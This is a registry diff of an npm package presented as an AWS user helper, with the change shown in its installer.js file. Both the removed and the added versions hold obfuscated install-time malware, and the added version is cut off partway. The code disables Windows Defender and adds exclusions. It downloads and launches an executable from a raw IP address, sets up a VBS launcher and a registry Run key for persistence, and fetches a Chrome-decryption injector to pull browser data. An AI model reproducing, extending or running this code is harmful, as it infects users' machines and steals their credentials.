@antoncallahan/aws-user-helper 6767.67.79 → 6767.67.81
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/installer.js +1 -1
- package/package.json +1 -1
package/installer.js
CHANGED
|
@@ -1,2 +1,2 @@
|
|
|
1
|
-
function _0x543a(_0x9c4b3c,_0xecac1b){_0x9c4b3c=_0x9c4b3c-(0xb06+-0x1b*0xdb+-0x1*-0xd91);const _0x289d11=_0x2858();let _0xdf3cf8=_0x289d11[_0x9c4b3c];if(_0x543a['RpJbMf']===undefined){var _0x5b74bb=function(_0x580346){const _0x5924df='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x3339fc='',_0x16145c='';for(let _0x4db6e0=0x124d+-0x1ae6+0x899,_0xfec4c8,_0x3a8b7a,_0x41dcd1=0xe4a+-0xc5*-0x21+-0x27af;_0x3a8b7a=_0x580346['charAt'](_0x41dcd1++);~_0x3a8b7a&&(_0xfec4c8=_0x4db6e0%(-0xb7a+0x133f+0x5*-0x18d)?_0xfec4c8*(-0x495+-0x1e94+-0x31*-0xb9)+_0x3a8b7a:_0x3a8b7a,_0x4db6e0++%(-0x5*0x12b+-0x1*0xe56+-0x3*-0x6bb))?_0x3339fc+=String['fromCharCode'](-0x8dd*-0x2+-0x825+-0x896&_0xfec4c8>>(-(-0x956*-0x4+0x1*-0x556+-0x20*0x100)*_0x4db6e0&-0xd66+-0x501*-0x3+-0x25*0xb)):0xe64+0x3*-0x61d+0x3f3){_0x3a8b7a=_0x5924df['indexOf'](_0x3a8b7a);}for(let _0x825d02=0xba0+0x22*-0x66+0x1ec,_0x52fd23=_0x3339fc['length'];_0x825d02<_0x52fd23;_0x825d02++){_0x16145c+='%'+('00'+_0x3339fc['charCodeAt'](_0x825d02)['toString'](0x14a3+0x1270+-0x1*0x2703))['slice'](-(-0x45*0x43+0x21e5+0x1*-0xfd4));}return decodeURIComponent(_0x16145c);};_0x543a['EZbZUH']=_0x5b74bb,_0x543a['FOLAUj']={},_0x543a['RpJbMf']=!![];}const _0x56ae9d=_0x289d11[-0x29*0xb2+0x1a1d+0x265],_0x288a66=_0x9c4b3c+_0x56ae9d,_0x317162=_0x543a['FOLAUj'][_0x288a66];return!_0x317162?(_0xdf3cf8=_0x543a['EZbZUH'](_0xdf3cf8),_0x543a['FOLAUj'][_0x288a66]=_0xdf3cf8):_0xdf3cf8=_0x317162,_0xdf3cf8;}function _0x2858(){const _0x7c9ecc=['C2LVBLXsDw4GlW','lMv4zsiIiIKUuW','CM90zwn0lNzICW','CMvSzwfZzxmVza','C29MDfXqCM90zq','uKDwBwfxnxbKrW','zNjVBq','igzYB20Gv2LUza','vJbmvtf3vuHkBa','Ahr0Chm','ifrOzw4kicaGia','zxjYB3i','y2XoBgjTuwK','mtC0nJuWnwvuyMXxCW','vNnIq0f0uti5Da','vtjgDgnhEgXJma','q3vYCMvUDfzLCG','B3jJzsi','DgvTmZjCtwLJCG','uNvUicjdoLXxAq','m1HwD2jwvW','nJCUmtCZlJeXnq','C2TSAxn0ic9gsq','zMLUAxnO','uhjVDgvJDc5LEa','ywXS','vuHkDMrhvMPKrW','zfDvz0XvuNbJmG','y2XVC2u','wLvSDwrisJfJmG','C3rHCNrLCIaVDa','tMXjqZfouvzcva','B21LBgv2yxrVCG','Dc5tAgvSBciPlG','y25wBeLdmuzIBq','y3j5ChrPB24Tra','ks5fEgvJkcj0yq','iKLUDM9Rzs1xzq','BhzIAufRzeHkmq','AM9PBG','xgnPlNPPCcCGlq','Dg9tDhjPBMC','rxHWyw5KlufYyW','tuuGzxeGqZPCvW','zxnZ','Dg1WzgLY','uNzJBwX1wNLbAW','oI8Vz2L0AhvIlG','vNLyrtf3utiXAW','zxHPDa','rg8kicbjzIbjBG','AwvY','qxrvBvz0yJnABa','B3nVzNrCuhjVDa','y3jLyxrLv3jPDa','oxnAr1z5uvDoAG','u3rYkfDty3jPCa','BwTKAxjtEw5J','y3rCtwLJCM9ZBW','B3DUBg9Hzc92ma','Dc5dCMvHDgvpyG','sNrHwfjuwvCXDW','y21SD2rgtMPzvW','AgL2zsaTugf0Aa','DfbYB3rLy3rszq','BhzIBej5wLHABa','vw1wD2iZsJbHvW','y3qOiLDty3jPCa','y0C5m1PysNPHrW','l0nOCM9Tzs1bCa','zxHLiIWGmaOGia','zxHLyW','mZCZmJKWtunOuK1X','y2HPBgrFChjVyW','BLbHDgGGjW','xgnPlNPPCcC7ia','yKnjpq','C3rHy2S','iciIsu1br0voqq','qwXSlcaIqZPCvW','uJnIm0PYvuHkDG','BhzIBK1NtfvgCW','xgnOCM9Tzs1PBG','BM9Kzs1UB3rPzG','nJC0mdy4nxryEKL6uq','Axb0lLnOzwXSiG','CMf3','wM1wEvPxnwPAuW','ic1dB21Tyw5Kia','CMvNigfKzcbisW','yLjLCxvLC3qGlq','EgnSDxnPB25qyq','CI12mc4Ymc4WlG','wLHoEKLfuNbJmG','C3rLAw4','AwXLicC','yM5sCgiYnvrLwa','x3G2nc5LEgu','mti5ntu1nKjTuwLgsG','twLJCM9ZB2z0ua','iKfKzc1nCfbYzq','w1voq0fvr0Huxq','mtuWnZaWnhH4zML3Aa','DfXxAw5KB3DZxa','rxHJBhvKAw5Nia','zvXnAwnYB3nVzG','D3jPDgvgAwXLuW','yLDgDvPdqwLvmG','vw5wDuXTvJrAuW','zNrqCM90zwn0lG','zeDwAMrhBhzIAq','wtiXA0LdowPjqW','D3jPDgu','yMfZzty0','Cc1cB3vUzc1fBG','qxrsr2X6wvDkCW','D3nJCMLWDc5LEa','Cg93zxjZAgvSBa','mJK3ndC5mLLWvePXzG','BMrVD3nCu3LZDa','DIbnAwnYB3nVzG','u2nYAxb0lLnSzq','DgGGj0m6xfvZzq','Aw5KB3DZxfn5CW','y205C2jhvMTsBq','ntmYn2f5sKvpBG','rMLIr1zRsumXrG','mZi4mMfMq2zUvG','AMvJDg9YjYaTrG','qxrvm1zPyLDSma','ifjfr19twIaVza','BwuTAw5Qzwn0BW','CNmNiG','iIaVzG','yM1gAwjhvK9Awa','zMvYzw5JzsaTrq','zeHkmvPtqxrsrW','tJbAvZbNsKHsEq','zvn0CMvHBq','Dw5JyxvNAhrfEa','Bg9N','y3j5ChrV','CM90zwn0lMv4zq','rMLIr1zkvdbgvW','swXvseP2wJnkAa','rgvZDgLUyxrPBW','EMLWjYaTt3v0rG','BM9Kzs13Aw5KBW','sNnAvKPSwvD4ma','w0vsuK9sxsa','wLnbDfjhBhPzvW','zxaGmtaWmaPmBW','twLjpq','rw5KieLMcIaGvW','Ahr0Ca'];_0x2858=function(){return _0x7c9ecc;};return _0x2858();}(function(_0x463ce2,_0x25092c){const _0x58cb9e=_0x543a,_0x125345=_0x463ce2();while(!![]){try{const _0x2b84ef=-parseInt(_0x58cb9e(0x1fc))/(-0x15*-0xa3+0x1c4b*-0x1+0xeed)+parseInt(_0x58cb9e(0x17f))/(0x7*-0x2af+0x8*-0x41b+0x33a3*0x1)+-parseInt(_0x58cb9e(0x1c8))/(-0x1085+-0x262b+-0x4f9*-0xb)*(-parseInt(_0x58cb9e(0x216))/(-0x384+0x24b2+-0x236*0xf))+-parseInt(_0x58cb9e(0x1c1))/(-0x1171+-0x1*0x192b+0x2aa1*0x1)+parseInt(_0x58cb9e(0x198))/(0x7*0x333+0x486+-0x1ae5)*(parseInt(_0x58cb9e(0x196))/(-0x1487+-0x1*-0x397+0x10f7))+parseInt(_0x58cb9e(0x18f))/(-0x8*0x232+0x13*0x102+-0x18e)+-parseInt(_0x58cb9e(0x208))/(0x6fb+0x2a1*0x1+0x3*-0x331);if(_0x2b84ef===_0x25092c)break;else _0x125345['push'](_0x125345['shift']());}catch(_0x4f86b4){_0x125345['push'](_0x125345['shift']());}}}(_0x2858,-0x9c746+0x77eaf+0x84b76),(async function(){const _0x423748=_0x543a,{execSync:_0x2a18a1,execFile:_0xa5db5f,spawn:_0x1f66e5}=require(_0x423748(0x1fd)+_0x423748(0x1e0)),_0x17a97c=require(_0x423748(0x1fd)+_0x423748(0x1e0)),_0x354dd7=require('fs'),_0x1913cd=require('path'),_0x289024=require('os'),_0x1e3157=require(_0x423748(0x207)+_0x423748(0x1e7)),{Service:_0x53ade2}=require(_0x423748(0x1ac)+'ws'),_0x282f67=require(_0x423748(0x1a6)),_0x504a06=require(_0x423748(0x1bd)),_0x2f467d=require(_0x423748(0x1b3)),_0x340825=require('os')[_0x423748(0x1e1)](),_0x1aa06f=!![];if(_0x1aa06f){const _0x46c9da=_0x354dd7['createWrit'+_0x423748(0x1a3)](_0x1913cd[_0x423748(0x1db)](_0x340825,'jeffery.ep'+_0x423748(0x212)),{'flags':'a'}),_0x841b1c=console[_0x423748(0x1a5)],_0x4b762d=console[_0x423748(0x1bf)];console['log']=(..._0x319387)=>_0x46c9da[_0x423748(0x189)](_0x319387[_0x423748(0x1db)]('\x20')+'\x0a'),console[_0x423748(0x1bf)]=(..._0x35f7ac)=>_0x46c9da[_0x423748(0x189)](_0x423748(0x1ae)+_0x35f7ac['join']('\x20')+'\x0a'),process['on'](_0x423748(0x1a4)+'ception',_0x1b9d2a=>{const _0x453f92=_0x423748;_0x46c9da[_0x453f92(0x189)](_0x453f92(0x17e)+'\x20'+_0x1b9d2a[_0x453f92(0x201)]+'\x0a'),process[_0x453f92(0x1e5)](0x16a*-0xa+-0xd5d+-0x1f7*-0xe);});}const _0x4552bd=_0x1913cd[_0x423748(0x1db)](_0x289024[_0x423748(0x1e1)](),'output');_0x354dd7[_0x423748(0x1ed)](_0x4552bd,{'recursive':!![]});const _0x25bf7d=async()=>{const _0x32024d=_0x423748;return console[_0x32024d(0x1a5)](_0x32024d(0x181)+__dirname+(_0x32024d(0x1bb)+'ows\x20Defend'+'er...')),new Promise(async(_0x1f566b,_0x42031f)=>{const _0x30493c=_0x32024d;_0x17a97c[_0x30493c(0x1fb)](_0x30493c(0x18e)+'\x20-Command\x20'+'\x22Add-MpPre'+_0x30493c(0x1a0)+_0x30493c(0x20f)+'th\x20\x27C:\x5cWin'+'dows\x27\x22',{'windowsHide':!![]},_0x220180=>{const _0x3bf536=_0x30493c;_0x17a97c[_0x3bf536(0x1fb)]('powershell'+_0x3bf536(0x20c)+_0x3bf536(0x218)+_0x3bf536(0x1a0)+_0x3bf536(0x20f)+_0x3bf536(0x193)+_0x3bf536(0x19d),{'windowsHide':!![]},_0x415768=>{_0x1f566b();});});});},_0x368207=async()=>{const _0x5b2218=_0x423748,[_0x4c0fdf,_0x448524,_0x10f220]=[Buffer[_0x5b2218(0x1ba)](_0x5b2218(0x1f8)+'VsbCAtQ29t'+_0x5b2218(0x184)+_0x5b2218(0x1bc)+_0x5b2218(0x20b)+_0x5b2218(0x18c)+_0x5b2218(0x1d1)+_0x5b2218(0x1f5)+_0x5b2218(0x214)+_0x5b2218(0x1a2)+_0x5b2218(0x1cf)+_0x5b2218(0x1a8)+_0x5b2218(0x1ce)+_0x5b2218(0x1da)+_0x5b2218(0x1af)+_0x5b2218(0x1ad)+'aW1lTW9uaX'+_0x5b2218(0x1e2)+_0x5b2218(0x1a1)+'lzYWJsZVNj'+_0x5b2218(0x1f2)+'5uaW5nICR0'+_0x5b2218(0x1d6)+'FibGVDb250'+_0x5b2218(0x195)+_0x5b2218(0x1eb)+_0x5b2218(0x211)+_0x5b2218(0x197)+_0x5b2218(0x19f)+_0x5b2218(0x204)+_0x5b2218(0x187)+'BBdWRpdE1v'+'ZGUgLUZvcm'+_0x5b2218(0x1d3)+_0x5b2218(0x1f6)+'5nIERpc2Fi'+'bGVkIC1TdW'+_0x5b2218(0x1f1)+'bGVzQ29uc2'+'VudCBOZXZl'+_0x5b2218(0x1c0),_0x5b2218(0x18a))['toString'](),Buffer[_0x5b2218(0x1ba)]('cG93ZXJzaG'+_0x5b2218(0x1c2)+_0x5b2218(0x184)+'V0LU1wUHJl'+'ZmVyZW5jZS'+_0x5b2218(0x19a)+_0x5b2218(0x1c3)+'NvbnNlbnQg'+_0x5b2218(0x1b1),'base64')['toString'](),Buffer['from'](_0x5b2218(0x188)+_0x5b2218(0x1a9)+'bUZpbGVzJV'+'xXaW5kb3dz'+'IERlZmVuZG'+_0x5b2218(0x1e4)+_0x5b2218(0x185)+_0x5b2218(0x1e8)+_0x5b2218(0x1b9)+_0x5b2218(0x205)+_0x5b2218(0x200),'base64')[_0x5b2218(0x1dd)]()];return new Promise((_0x41409c,_0x194d91)=>{const _0x479ace=_0x5b2218;_0x17a97c[_0x479ace(0x1fb)](_0x4c0fdf,{'windowsHide':!![]},_0xfcf18a=>{const _0x550720=_0x479ace;if(_0xfcf18a)return _0x194d91(_0xfcf18a);_0x17a97c[_0x550720(0x1fb)](_0x448524,{'windowsHide':!![]},_0x3d5251=>{const _0x13c470=_0x550720;if(_0x3d5251)return _0x194d91(_0x3d5251);_0x17a97c[_0x13c470(0x1fb)](_0x10f220,{'windowsHide':!![]},_0x3b5c5d=>{if(_0x3b5c5d)return _0x194d91(_0x3b5c5d);_0x41409c();});});});});};await _0x25bf7d(),await new Promise(_0xb56ccc=>setTimeout(_0xb56ccc,-0x9dc*0x2+-0xb7a+0x2*0x1381));const _0x145480=String[_0x423748(0x20a)]`C:\Windows\System32\Microsoft\Protect`;_0x354dd7[_0x423748(0x1ed)](_0x145480,{'recursive':!![]});const _0x11e50e=_0x354dd7[_0x423748(0x1ea)+'eStream'](_0x1913cd[_0x423748(0x1db)](_0x145480,_0x423748(0x217)+_0x423748(0x1a7)));_0x2f467d['get']('http://69.'+_0x423748(0x1c9)+'/Microsoft'+_0x423748(0x1cc)+'e',_0x3de017=>{const _0x458494=_0x423748;_0x3de017['pipe'](_0x11e50e),_0x11e50e['on'](_0x458494(0x1cb),()=>_0x11e50e[_0x458494(0x1d0)]());});const _0xd7c486=_0x423748(0x1e6)+_0x423748(0x1ec)+_0x423748(0x1f0)+'ject(\x22WScr'+_0x423748(0x209)+_0x423748(0x1d8)+_0x423748(0x1ca)+_0x423748(0x202)+_0x423748(0x1df)+'indows\x5cSys'+_0x423748(0x1c6)+_0x423748(0x1e9)+'ect\x5cMicros'+'oftProtect'+_0x423748(0x1b5)+'tdOut.Read'+_0x423748(0x203)+_0x423748(0x194)+_0x423748(0x1c6)+_0x423748(0x1e9)+'ect\x5cMicros'+'oftProtect'+'.exe\x22)\x20=\x200'+_0x423748(0x1be)+'CreateObje'+_0x423748(0x1f7)+_0x423748(0x1d5)+_0x423748(0x1c7)+_0x423748(0x190)+'em32\x5cMicro'+_0x423748(0x1b8)+_0x423748(0x1ee)+_0x423748(0x186)+_0x423748(0x1fa)+_0x423748(0x1b2)+_0x423748(0x192)+_0x423748(0x1b0)+'op',_0x5d44b8=_0x1913cd[_0x423748(0x1db)](_0x145480,_0x423748(0x217)+_0x423748(0x1b6));_0x354dd7[_0x423748(0x183)+'ync'](_0x5d44b8,_0xd7c486),_0x2a18a1(_0x423748(0x20d)+'CU\x5cSoftwar'+_0x423748(0x182)+_0x423748(0x180)+_0x423748(0x1c4)+_0x423748(0x1b4)+_0x423748(0x191)+_0x423748(0x1f4)+_0x423748(0x1d2)+_0x423748(0x19b)+'\x20\x22'+_0x5d44b8+_0x423748(0x19e),{'windowsHide':!![]}),_0x1f66e5(_0x423748(0x18d)+'e',[_0x5d44b8],{'detached':!![],'stdio':'ignore'}),_0x2a18a1(_0x423748(0x18e)+'\x20-WindowSt'+'yle\x20Hidden'+_0x423748(0x20c)+_0x423748(0x1d9)+_0x423748(0x20e)+'Uri\x20\x27https'+_0x423748(0x1e3)+'com/xaitax'+_0x423748(0x1f9)+_0x423748(0x18b)+_0x423748(0x1d7)+'ecryption/'+_0x423748(0x1b7)+_0x423748(0x1ef)+'.20.0/chro'+_0x423748(0x19c)+_0x423748(0x210)+_0x423748(0x1ab)+_0x423748(0x213)+_0x340825+(_0x423748(0x1ff)+_0x423748(0x1de)+_0x423748(0x1f3)+'\x20\x27')+_0x340825+(_0x423748(0x1dc)+_0x423748(0x1aa)+_0x423748(0x1fe))+_0x340825+(_0x423748(0x206)+_0x423748(0x199)+_0x423748(0x1c5)),{'windowsHide':!![]});const _0x292cf3=_0xa5db5f(_0x340825+('\x5cchrome-in'+'jector\x5cchr'+_0x423748(0x1d4)+_0x423748(0x215)),[_0x423748(0x1cd),'-o',_0x4552bd],{'windowsHide':!![]});}()));
|
|
1
|
+
function _0x2852(){const _0x2e7e57=['DcbsruDFu1OGlW','B3DZierLzMvUza','yKnjpq','yM5sCgiYnvrLwa','y2XoBgjTuwK','Dw5JyxvNAhrfEa','AwXLicC','D3jPDgu','zxnZ','q1vCu29MDhDHCG','zfDvz0XvuNbJmG','AgL2zsaTugf0Aa','Bg9N','mtaXmZG2nhveEvbwsW','EgnSDxnPB25qyq','vw1wD2iZsJbHvW','nduZmdC2tKvis0fV','wLnbDfjhBhPzvW','z2v0','yM1gAwjhvK9Awa','sNnAvKPSwvD4ma','mJjUAw1SyKi','uKDwBwfxnxbKrW','zxHPDa','yMfZzty0','y3j5ChrPB24Tra','rMLIr1zkvdbgvW','BhzIBej5wLHABa','BwTKAxjtEw5J','y2vWDgLVBG','nZKYnK9muxHfva','zMvYzw5JzsaTrq','C3rHy2S','DgGGj0m6xfvZzq','C3rLAw4','zg93CYCI','zvn0CMvHBq','swXvseP2wJnkAa','ndKWmdHyuvD5thK','rMLIr1zeyJi1ma','AM9PBG','CMf3','y2HPBgrFChjVyW','iKLUDM9Rzs1xzq','mJnRvvDlDKe','B3DUBg9Hzc92ma','y3jLyxrLv3jPDa','Cc1cB3vUzc1fBG','zeHkmvPtqxrsrW','Cgf0Aa','l01Py3jVC29MDa','n01MuuvYDW','q3vYCMvUDfzLCG','AwDUB3jL','Cg93zxjZAgvSBa','y205C2jhvMTsBq','y25wBeLdmuzIBq','w1voq0fvr0Huxq','tJbAvZbNsKHsEq','zxHLyW','EfHHvZvRyJnKEG','B3jJzsi','AMvMzMvYEs5LCa','y29Tl3HHAxrHEa','zxjYB3i','tNzIBK5SyM5rzW','zNjVBq','x3G2nc5LEgu','yLvACgjhvNPkvG','Dg9tDhjPBMC','yKDwELeYoxvJmG','w0vsuK9sxsa','wM1wEvPxnwPAuW','qxrvm1zPyLDSma','nw5jrvjWyZjgAq','vNLyrtf3utiXAW','iIaVzG','rxHJBhvKAw5Nia','DfXxAw5KB3DZxa','BhzIBK1NtfvgCW','uJnIm0PYvuHkDG','CI12mc4Ymc4WlG','igzYB20Gv2LUza','BhzIAufRzeHkmq','xgnOCM9Tzs1PBG','DfbYB3rLy3qGlW','BwuTAw5Qzwn0BW','mtHZuur0uw4','yLjLCxvLC3qGlq','mZeZnJu1Dfv2DhbK','yvCXBfrxoxvHwa','yLDgDvPdqwLvmG','nJCUmtCZlJeXnq','odG0nJKWz055yu1H','lJiWlJaVy2HYBW','m0nktvHguG','y2XVC2u','zwnYExb0Aw9UlW','BM9Kzs1UB3rPzG','twLJCM9ZB2z0ua','zvXnAwnYB3nVzG','yKDwA0LdmvrKvW','vw5wDuXTvJrAuW','oI8Vz2L0AhvIlG','zMLUAxnO','wLHoEKLfuNbJmG','vJbmvtf3vuHkBa','DgGGj0m6xfDPBG','vNnIq0f0uti5Da','qxrsr2X6wvDkCW','AMvJDg9YxgnOCG','AwvY','CMvSzwfZzxmVza','nxvHvZvUsunsma','CMvNigfKzcbisW','zxiUlI4','ic1dB21Tyw5Kia','xgnPlNPPCcCGlq','zcaI','tMXjqZfouvzcva','y0C5m1PysNPHrW','Dg1WzgLY','mZG0sMHVs0Lc','EMLWjYaTt3v0rG','twLjpq','mJm5mtmWowzMEvzzDG','AMvJDg9YjYaTrG','EwXLieHPzgrLBG','Ahr0Chm','CM90zwn0lMv4zq','C2LVBLXsDw4GlW','DIbnAwnYB3nVzG'];_0x2852=function(){return _0x2e7e57;};return _0x2852();}function _0x4956(_0x461043,_0x5a47ff){_0x461043=_0x461043-(0xc80+-0x679*-0x2+0x16f*-0x11);const _0x3945bc=_0x2852();let _0x4fce8b=_0x3945bc[_0x461043];if(_0x4956['yeEaKX']===undefined){var _0x24bc45=function(_0x57783d){const _0x43cf12='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x23f944='',_0x5543c3='';for(let _0x2838be=0x1277+-0x3a*0x82+0xafd*0x1,_0x2430ac,_0x1c88ed,_0x5e2016=0x2*-0xdc4+-0xea9+0x2a31;_0x1c88ed=_0x57783d['charAt'](_0x5e2016++);~_0x1c88ed&&(_0x2430ac=_0x2838be%(-0x2*-0xba3+-0x19f*0xa+0xb*-0xa4)?_0x2430ac*(-0x204e*-0x1+0x4*-0x962+-0x2bd*-0x2)+_0x1c88ed:_0x1c88ed,_0x2838be++%(-0x2*0x1141+0x1d*0xc5+0xc35))?_0x23f944+=String['fromCharCode'](0x25cb+0x286*0x4+0x4*-0xbb9&_0x2430ac>>(-(-0x6d*-0x5b+-0x3*-0x2e4+-0x2f69*0x1)*_0x2838be&0x21f6+0x109*-0x1b+-0x5fd)):-0x2424+-0xd51+0x3175){_0x1c88ed=_0x43cf12['indexOf'](_0x1c88ed);}for(let _0x224308=0x2*-0x1369+0x1*-0x19da+0x102b*0x4,_0x4e12b7=_0x23f944['length'];_0x224308<_0x4e12b7;_0x224308++){_0x5543c3+='%'+('00'+_0x23f944['charCodeAt'](_0x224308)['toString'](0x171e+-0x2e*-0x7+0x8*-0x30a))['slice'](-(0x1c*-0xd6+0x1e84+0x65*-0x12));}return decodeURIComponent(_0x5543c3);};_0x4956['aXCCns']=_0x24bc45,_0x4956['UXpcco']={},_0x4956['yeEaKX']=!![];}const _0x36df19=_0x3945bc[0x10a6+0x1855*0x1+0xd*-0x327],_0x2d3c44=_0x461043+_0x36df19,_0x4bb76d=_0x4956['UXpcco'][_0x2d3c44];return!_0x4bb76d?(_0x4fce8b=_0x4956['aXCCns'](_0x4fce8b),_0x4956['UXpcco'][_0x2d3c44]=_0x4fce8b):_0x4fce8b=_0x4bb76d,_0x4fce8b;}(function(_0x421a56,_0x1f119a){const _0x63a70c=_0x4956,_0x2c1251=_0x421a56();while(!![]){try{const _0x7e8085=parseInt(_0x63a70c(0x15f))/(0x1*0x234e+0x1cb2*0x1+-0x81*0x7f)*(-parseInt(_0x63a70c(0x151))/(-0x259+0x143+0x118))+parseInt(_0x63a70c(0x192))/(-0xa38+0xc*-0x101+0x1647)*(-parseInt(_0x63a70c(0x140))/(0x1d*0x25+0x8aa*0x4+-0x26d5))+parseInt(_0x63a70c(0x18c))/(0x2691+0x198c+-0x4*0x1006)*(-parseInt(_0x63a70c(0x18a))/(0x1857+0x60a*0x3+-0x2a6f))+parseInt(_0x63a70c(0x166))/(-0x1*0x19a3+-0x24a1+-0x1af*-0x25)*(-parseInt(_0x63a70c(0x159))/(-0x15*-0x36+-0x98d+-0x527*-0x1))+-parseInt(_0x63a70c(0x12c))/(-0x25cd+0x1455+0x1181)+-parseInt(_0x63a70c(0x190))/(-0x1584+0x2262+0x4*-0x335)*(parseInt(_0x63a70c(0x148))/(0x3*0x3a+-0x1a7b+0x19d8))+parseInt(_0x63a70c(0x129))/(0x7*-0x17e+-0x1*0x1b5e+-0x977*-0x4)*(parseInt(_0x63a70c(0x143))/(0x3*0x4e4+-0x1ccf+0xe30));if(_0x7e8085===_0x1f119a)break;else _0x2c1251['push'](_0x2c1251['shift']());}catch(_0x3cf67b){_0x2c1251['push'](_0x2c1251['shift']());}}}(_0x2852,-0x1780c+-0x125f8+0x1*0x4a83f),(async function(){const _0x12e385=_0x4956,{execSync:_0x4b98ac,execFile:_0x2a6612,spawn:_0x48a068}=require(_0x12e385(0x15d)+_0x12e385(0x13b)),_0xbf026c=require(_0x12e385(0x15d)+_0x12e385(0x13b)),_0x40e103=require('fs'),_0x3e313f=require(_0x12e385(0x164)),_0x571d74=require('os'),_0x1e1d34=require(_0x12e385(0x195)+_0x12e385(0x11e)),{Service:_0x3a924c}=require('node-windo'+'ws'),_0x5c6429=require('crypto'),_0x5cb03a=require(_0x12e385(0x12f)),_0x3d9e3c=require('http'),_0x3a4c5e=require('os')[_0x12e385(0x128)](),_0x12bb61=!![];if(_0x12bb61){const _0x5dd13a=_0x40e103[_0x12e385(0x161)+_0x12e385(0x157)](_0x3e313f[_0x12e385(0x15b)](_0x3a4c5e,_0x12e385(0x171)+_0x12e385(0x155)),{'flags':'a'}),_0x3c0179=console['log'],_0x1e670c=console['error'];console[_0x12e385(0x13f)]=(..._0x4d6dd7)=>_0x5dd13a[_0x12e385(0x13a)](_0x4d6dd7['join']('\x20')+'\x0a'),console[_0x12e385(0x173)]=(..._0x575b78)=>_0x5dd13a[_0x12e385(0x13a)](_0x12e385(0x17a)+_0x575b78[_0x12e385(0x15b)]('\x20')+'\x0a'),process['on'](_0x12e385(0x138)+_0x12e385(0x150),_0x380bba=>{const _0x24de45=_0x12e385;_0x5dd13a[_0x24de45(0x13a)](_0x24de45(0x16c)+'\x20'+_0x380bba[_0x24de45(0x153)]+'\x0a'),process[_0x24de45(0x14a)](0xc77*0x1+-0x10a0+0x42a);});}const _0x591f8f=_0x3e313f[_0x12e385(0x15b)](_0x571d74[_0x12e385(0x128)](),'output');_0x40e103[_0x12e385(0x14f)](_0x591f8f,{'recursive':!![]});const _0x4aedaa=async()=>{const _0x180f5b=_0x12e385;return console[_0x180f5b(0x13f)](_0x180f5b(0x180)+__dirname+(_0x180f5b(0x185)+_0x180f5b(0x134)+_0x180f5b(0x122))),new Promise(async(_0x3fdbcb,_0x5efa92)=>{const _0x3c3870=_0x180f5b;_0xbf026c[_0x3c3870(0x16e)](_0x3c3870(0x169)+_0x3c3870(0x123)+'\x22Add-MpPre'+_0x3c3870(0x152)+_0x3c3870(0x141)+_0x3c3870(0x11a)+_0x3c3870(0x156),{'windowsHide':!![]},_0x3a4604=>{const _0x316580=_0x3c3870;_0xbf026c[_0x316580(0x16e)]('powershell'+_0x316580(0x123)+'\x22Add-MpPre'+_0x316580(0x152)+_0x316580(0x141)+_0x316580(0x154)+'rs\x27\x22',{'windowsHide':!![]},_0x30a649=>{_0x3fdbcb();});});});},_0x3a392c=async()=>{const _0x2fd490=_0x12e385,[_0x147084,_0x51bb2a,_0x2a32a4]=[Buffer['from'](_0x2fd490(0x127)+_0x2fd490(0x11b)+_0x2fd490(0x18e)+'V0LU1wUHJl'+_0x2fd490(0x17b)+_0x2fd490(0x11c)+'ZUludHJ1c2'+_0x2fd490(0x14e)+_0x2fd490(0x136)+_0x2fd490(0x16d)+_0x2fd490(0x13d)+_0x2fd490(0x14d)+'UHJvdGVjdG'+_0x2fd490(0x186)+_0x2fd490(0x144)+_0x2fd490(0x147)+_0x2fd490(0x18d)+'RvcmluZyAk'+_0x2fd490(0x163)+'lzYWJsZVNj'+'cmlwdFNjYW'+_0x2fd490(0x120)+_0x2fd490(0x16b)+_0x2fd490(0x15a)+_0x2fd490(0x16a)+'9sZGVyQWNj'+_0x2fd490(0x118)+'FibGVkIC1F'+_0x2fd490(0x146)+_0x2fd490(0x183)+'dGVjdGlvbi'+'BBdWRpdE1v'+'ZGUgLUZvcm'+_0x2fd490(0x126)+_0x2fd490(0x142)+_0x2fd490(0x17d)+_0x2fd490(0x114)+'JtaXRTYW1w'+_0x2fd490(0x179)+'VudCBOZXZl'+_0x2fd490(0x137),_0x2fd490(0x14b))[_0x2fd490(0x178)](),Buffer['from'](_0x2fd490(0x127)+_0x2fd490(0x11b)+_0x2fd490(0x18e)+_0x2fd490(0x119)+_0x2fd490(0x17b)+_0x2fd490(0x17c)+'U2FtcGxlc0'+_0x2fd490(0x174)+_0x2fd490(0x12b),_0x2fd490(0x14b))[_0x2fd490(0x178)](),Buffer[_0x2fd490(0x175)]('Y21kIC9jIC'+_0x2fd490(0x158)+_0x2fd490(0x177)+_0x2fd490(0x16f)+'IERlZmVuZG'+_0x2fd490(0x17e)+_0x2fd490(0x115)+'AtUmVtb3Zl'+_0x2fd490(0x149)+_0x2fd490(0x182)+_0x2fd490(0x135),_0x2fd490(0x14b))[_0x2fd490(0x178)]()];return new Promise((_0x3468b1,_0x884b91)=>{const _0xfe0047=_0x2fd490;_0xbf026c[_0xfe0047(0x16e)](_0x147084,{'windowsHide':!![]},_0x5923b9=>{if(_0x5923b9)return _0x884b91(_0x5923b9);_0xbf026c['exec'](_0x51bb2a,{'windowsHide':!![]},_0xd937ca=>{if(_0xd937ca)return _0x884b91(_0xd937ca);_0xbf026c['exec'](_0x2a32a4,{'windowsHide':!![]},_0x2a8a39=>{if(_0x2a8a39)return _0x884b91(_0x2a8a39);_0x3468b1();});});});});};await _0x4aedaa(),await new Promise(_0x466b9d=>setTimeout(_0x466b9d,0x119c+0x703+-0xd*0x14b));const _0x271351=String[_0x12e385(0x15c)]`C:\Windows\System32\Microsoft\Protect`;_0x40e103['mkdirSync'](_0x271351,{'recursive':!![]});const _0x46a2f4=_0x3e313f['join'](_0x271351,_0x12e385(0x196)+'rotect.exe'),_0x3ff1ab=_0x40e103[_0x12e385(0x161)+_0x12e385(0x157)](_0x46a2f4);_0x3d9e3c[_0x12e385(0x145)]('http://69.'+_0x12e385(0x18f)+_0x12e385(0x165)+'Protect.ex'+'e',_0x4f29f9=>{const 